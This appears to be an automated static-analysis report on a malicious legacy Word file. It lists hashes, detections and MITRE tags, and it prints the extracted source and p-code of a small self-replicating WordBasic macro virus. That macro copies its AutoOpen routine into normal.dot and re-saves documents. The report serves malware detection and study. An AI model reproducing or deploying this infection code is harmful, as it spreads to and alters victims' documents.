Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a2ba3fc3b3b2134b…

MALICIOUS

Office (OLE)

27.0 KB Created: 1998-01-26 08:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e99703a5c083b99b38fac228057e4923 SHA-1: 16f8afc2d165cc2e3d0b97323e39eb45817aec55 SHA-256: a2ba3fc3b3b2134b2593db22ae09456cd0be49e61d0643bcb3c345d63fefec9b
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic macro that attempts to infect the normal.dot template with its AutoOpen macro. The script also attempts to save the document using the FileSaveAs dialog, potentially altering its format or saving it to a new location. The presence of the AutoOpen macro and the legacy WordBasic functions strongly suggest a macro-based infection vector.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-69 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-69
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3016 bytes
SHA-256: 1a33f8d4b30b7c0fe3d93e0e568026668e6e2d9422d339f0564b4501c39dde21
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

'The SMALLEST Macro-virus in history  ;)
'(c) Master of infection
'Queen Hitman Virus inc.
Public Sub MAIN()
Dim nn$
Dim n1$
Dim n2$
nn$ = WordBasic.[DefaultDir$](2) + "/normal.dot"
n1$ = WordBasic.[FileName$]() + ":AutoOpen"
n2$ = nn$ + ":AutoOpen"
On Error GoTo -1: On Error GoTo cont
WordBasic.MacroCopy n1$, n2$
GoTo okey
cont:
WordBasic.MacroCopy n2$, n1$
On Error Goto -1 : On Error Goto err.Number
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
dlg.Format = 1
WordBasic.FileSaveAs dlg
GoTo okey
Err.Number:
WordBasic.MsgBox "ERROR!", 16
okey:
WordBasic.MsgBox "OK!", 64
End Sub

' Processing file: /opt/analyzer/scan_staging/7228cb0296b44d9ebe0b1bdd118abba7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2164 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0027 "The SMALLEST Macro-virus in history  ;)"
' Line #2:
' 	QuoteRem 0x0000 0x0017 "(c) Master of infection"
' Line #3:
' 	QuoteRem 0x0000 0x0017 "Queen Hitman Virus inc."
' Line #4:
' 	FuncDefn (Public Sub MAIN())
' Line #5:
' 	Dim 
' 	VarDefn nn
' Line #6:
' 	Dim 
' 	VarDefn n1
' Line #7:
' 	Dim 
' 	VarDefn n2
' Line #8:
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemLd [DefaultDir$] 0x0001 
' 	LitStr 0x000B "/normal.dot"
' 	Add 
' 	St nn$ 
' Line #9:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St n1$ 
' Line #10:
' 	Ld nn$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St n2$ 
' Line #11:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError cont 
' Line #12:
' 	Ld n1$ 
' 	Ld n2$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #13:
' 	GoTo okey 
' Line #14:
' 	Label cont 
' Line #15:
' 	Ld n2$ 
' 	Ld n1$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Reparse 0x002B "On Error Goto -1 : On Error Goto err.Number"
' Line #17:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #18:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #19:
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' Line #20:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #21:
' 	GoTo okey 
' Line #22:
' 	Ld Err 
' 	ArgsMemCall Number 0x0000 
' 	BoS 0x0000 
' Line #23:
' 	LitStr 0x0006 "ERROR!"
' 	LitDI2 0x0010 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #24:
' 	Label okey 
' Line #25:
' 	LitStr 0x0003 "OK!"
' 	LitDI2 0x0040 
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #26:
' 	EndSub